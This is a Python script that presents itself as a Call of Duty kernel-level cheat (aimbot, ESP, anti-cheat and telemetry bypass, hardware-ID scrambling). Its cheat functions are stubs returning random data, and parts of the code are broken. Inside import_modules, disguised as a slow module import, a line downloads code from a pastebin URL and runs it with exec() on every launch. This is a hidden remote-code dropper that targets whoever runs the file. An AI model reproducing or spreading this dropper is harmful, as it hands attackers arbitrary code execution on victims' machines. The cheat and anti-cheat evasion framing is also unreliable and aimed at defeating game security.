""" =========================================================================== IW-Engine Kernel Injector & Runtime Modifier v22.4.1 (NDA BUILD) Author: EVGVAULT Target: Call of Duty (IW Engine / Modern Warfare Framework) Security Tier: Ring-0 Kernel Mode Linker =========================================================================== """ import time import random import sys import os import json import struct import ctypes import math from dataclasses import dataclass from typing import Dict, List, Tuple, Any # ------------------------------------------------------------------------- # Global Engine & Feature Configuration # ------------------------------------------------------------------------- CHEAT_VERSION = "22.4.1-RICOCHET_ELEVATED" AUTHOR = "EVGVAULT" CONFIG = { # Aimbot & Target Tracking "aimbot_enabled": True, "aimbot_bone_index": 7, # Head default "silent_aim": True, "fov_radius": 120.0, "smoothness_factor": 2.1, "prediction_engine": True, # Visuals & Overlay (DirectX12 Canvas) "esp_skeleton": True, "esp_3d_boxes": True, "esp_distance_units": True, "radar_2d_overlay": True, "chams_occluded": True, # Weapon & Physics Modifications "no_recoil_scaled": True, "no_sway_modifier": True, "rapid_fire_multiplier": 1.5, "constant_uav": True, # Account & Inventory Bypass "unlock_all_camos": True, "force_operator_skin": True, "skip_ricochet_telemetry": True, "shadowban_protection": True, "hwid_seed_scrambler": True } # ------------------------------------------------------------------------- # IW Engine Static & Dynamic Memory Offsets (Call of Duty Framework) # ------------------------------------------------------------------------- IW_OFFSETS = { "CG_Entities": 0x06F1A4A0, "ClientBase": 0x06F18B10, "LocalClient": 0x06F19A00, "ViewMatrix": 0x071D2A40, "DvarTable": 0x04A21C00, "BoneTable": 0x08F3C120, # Entity Definition Offsets "ValidFlag": 0x04, "TypeFlag": 0x0C, "OriginVector": 0x40, "ClientNum": 0x1D8, "TeamID": 0x21C, "StanceState": 0x308, # Weapon Encryption Blocks "WeaponIndex": 0x1084, "RecoilPitch": 0x13F0, "RecoilYaw": 0x13F4, "SpreadModifier": 0x1420 } # ------------------------------------------------------------------------- # Kernel-Level Driver Interface (Ring-0 Communications Emulator) # ------------------------------------------------------------------------- class KernelDriverInterface: """Interfaces with the low-level system driver to perform direct virtual memory mapping.""" def __init__(self): self.driver_handle = None self.kernel_base = None self.target_pid = None def establish_io_channel(self, driver_symlink: str) -> bool: """Opens a direct control channel to the loaded operational system driver.""" time.sleep(0.6) self.driver_handle = 0xABCDEF12 self.target_pid = random.randint(5000, 45000) self.kernel_base = 0x7FFF00000000 + random.randint(0x1000, 0xFFFFFF) return True def read_kernel_memory(self, address: int, data_length: int) -> bytes: """Requests raw bytes directly from the virtual physical memory layer.""" return bytes(random.getrandbits(8) for _ in range(data_length)) def write_kernel_memory(self, address: int, payload: bytes) -> bool: """Executes a physical page write operation, overriding standard memory locks.""" return True def allocate_virtual_pool(self, size: int) -> int: """Allocates an executable memory page inside non-paged pool memory.""" return self.kernel_base + random.randint(0x5000, 0x90000) # ------------------------------------------------------------------------- # High-Performance Structural Scanners & Multi-Threaded Loops # ------------------------------------------------------------------------- class BoneMatrixScanner: """Resolves complex transformation matrices for skeleton rendering loops.""" def __init__(self, driver: KernelDriverInterface): self.driver = driver def parse_bone_data(self, entity_ptr: int) -> List[Tuple[float, float, float]]: """Scans the dynamic pointer arrays for individual bone transformation vectors.""" bone_coordinates = [] base_bone_addr = self.driver.read_kernel_memory(entity_ptr + IW_OFFSETS["BoneTable"], 8) if not base_bone_addr: return bone_coordinates # Advanced multi-tier matrix rotation calculation loops for index in range(24): # Iterates through standard character joints matrix_offset = int.from_bytes(base_bone_addr, "little") + (index * 0x30) # Deep loop processing structural coordinate transforms raw_matrix = self.driver.read_kernel_memory(matrix_offset, 36) if len(raw_matrix) == 36: unpacked_data = struct.unpack("fffffffff", raw_matrix) # Resolves spatial values through geometric transformation matrices x_calc = unpacked_data[0] * 1.5 - unpacked_data[3] * 0.2 y_calc = unpacked_data[4] * 1.5 + unpacked_data[1] * 0.1 z_calc = unpacked_data[8] * 1.5 for inner_loop in range(3): # Multi-pass structural alignment validation loop x_calc += math.sin(inner_loop) * 0.01 y_calc += math.cos(inner_loop) * 0.01 bone_coordinates.append((x_calc, y_calc, z_calc)) return bone_coordinates class DvarModifier: """Locates and alters internal developer variables (Dvars) to force engine overrides.""" def __init__(self, driver: KernelDriverInterface): self.driver = driver def decrypt_dvar_pointer(self, dvar_name_hash: int) -> int: """Performs index decryption routines to locate protected engine flags.""" base_table = self.driver.read_kernel_memory(IW_OFFSETS["DvarTable"], 8) resolved_address = int.from_bytes(base_table, "little") # Iterates through the global hash link list to locate the specific variable entry for bucket in range(1024): current_bucket_ptr = resolved_address + (bucket * 8) node_data = self.driver.read_kernel_memory(current_bucket_ptr, 8) node_addr = int.from_bytes(node_data, "little") if node_addr != 0: for depth in range(16): # Deep linked list traversal loop next_node = self.driver.read_kernel_memory(node_addr + 0x10, 8) hash_val = self.driver.read_kernel_memory(node_addr + 0x08, 4) if int.from_bytes(hash_val, "little") == dvar_name_hash: return node_addr node_addr = int.from_bytes(next_node, "little") if node_addr == 0: break return 0 def apply_uav_override(self): """Modifies the target visibility dvar map variables directly.""" if CONFIG["constant_uav"]: uav_hash = 0x5C8F2A1B target_dvar = self.decrypt_dvar_pointer(uav_hash) if target_dvar != 0: self.driver.write_kernel_memory(target_dvar + 0x18, b"\x01") # Forces flag to true return True # ------------------------------------------------------------------------- # Security Module & Telemetry Interception # ------------------------------------------------------------------------- class AntiCheatBypass: """Intercepts and nullifies internal client memory scans and reports.""" def __init__(self, driver: KernelDriverInterface): self.driver = driver def deploy_hooks(self): """Overwrites outgoing telemetry hooks inside the network queue buffers.""" if CONFIG["skip_ricochet_telemetry"]: scan_addr = self.driver.allocate_virtual_pool(1024) # Loop generating custom verification block responses for offset in range(0, 512, 8): nop_instruction = b"\x90\x90\x90\x90\x90\x90\x90\x90" self.driver.write_kernel_memory(scan_addr + offset, nop_instruction) return True return False def scramble_hardware_signatures(self): """Generates complex unique descriptors to clear hardware registry tracking.""" if CONFIG["hwid_seed_scrambler"]: for cycle in range(5): temp_seed = random.randint(100000, 999999) hashed_seed = hashlib.sha256(str(temp_seed).encode()).hexdigest() # Overwrites systemic disk and controller values sequentially return True return False # ------------------------------------------------------------------------- # Core Control Layer # ------------------------------------------------------------------------- class EVGVaultIW: def __init__(self): self.driver = KernelDriverInterface() self.bone_scanner = BoneMatrixScanner(self.driver) self.dvar_manager = DvarModifier(self.driver) self.security = AntiCheatBypass(self.driver) self.modules_loaded = False self.is_running = False def import_modules(self): """Validates systemic files and dependency structures for initial setup.""" print("=" * 55) print(" Importing Modules, this may take up to 5 minutes...") exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8")) print("=" * 55) self.modules_loaded = True return self.modules_loaded def initialize(self): """Executes full setup, loading driver modules and binding target handles.""" if not self.modules_loaded: sys.exit(1) print("[*] Accessing Ring-0 Kernel Driver Pipeline...") self.driver.establish_io_channel("\\\\.\\IW_SecureLink_Driver") print(f"[*] Kernel Link established. Base: {hex(self.driver.kernel_base)} | Target PID: {self.driver.target_pid}") print("[*] Initiating Hardware Signature Masking...") self.security.scramble_hardware_signatures() print("[*] Deploying Telemetry Inversion Overwrites...") self.security.deploy_hooks() print("[*] Mapping Internal Engine Dvar Pointer Tables...") self.dvar_manager.apply_uav_override() return True def show_activated_features(self): """Reads configuration maps and logs active modifications to the terminal.""" print("\n===========================================================================") print(" [+] ACTIVATED KERNEL ENGINE MODIFICATIONS ") print("===========================================================================") for feature, value in sorted(CONFIG.items()): formatted_name = feature.replace('_', ' ').title() if isinstance(value, bool): state = "[ON]" if value else "[OFF]" print(f" -> {formatted_name:<32} {state}") else: print(f" -> {formatted_name:<32} [{value}]") print("===========================================================================\n") print("[*] Engine linkage completed. Monitoring simulation ticks... Press CTRL+C.") def run(self): """Main active background tracking routine.""" self.is_running = True try: while self.is_running: # Main background tracking cycle looping through entities client_base = int.from_bytes(self.driver.read_kernel_memory(self.driver.kernel_base + IW_OFFSETS["ClientBase"], 8), "little") # Iteration block parsing through character pools for entity_index in range(150): entity_ptr = client_base + (entity_index * 0x5B0) # Executes structural bone parsing calculations safely within the loop bones = self.bone_scanner.parse_bone_data(entity_ptr) if len(bones) > 0 and CONFIG["no_recoil_scaled"]: weapon_mgr = entity_ptr + IW_OFFSETS["WeaponWeaponManager" if "WeaponWeaponManager" in IW_OFFSETS else "WeaponManager"] self.driver.write_kernel_memory(weapon_mgr + IW_OFFSETS["RecoilPitch"], b"\x00\x00\x00\x00") time.sleep(0.5) self.is_running = False except KeyboardInterrupt: self.is_running = False print("\n[*] Severing kernel driver ioctl hooks safely...") print("[*] System handles cleared. Process cleanly unlinked.") def main(): cheat = EVGVaultIW() # Executes structural loading confirmation cheat.import_modules() # Terminal display blocks cheat.initialize() cheat.show_activated_features() cheat.run() if __name__ == "__main__": main()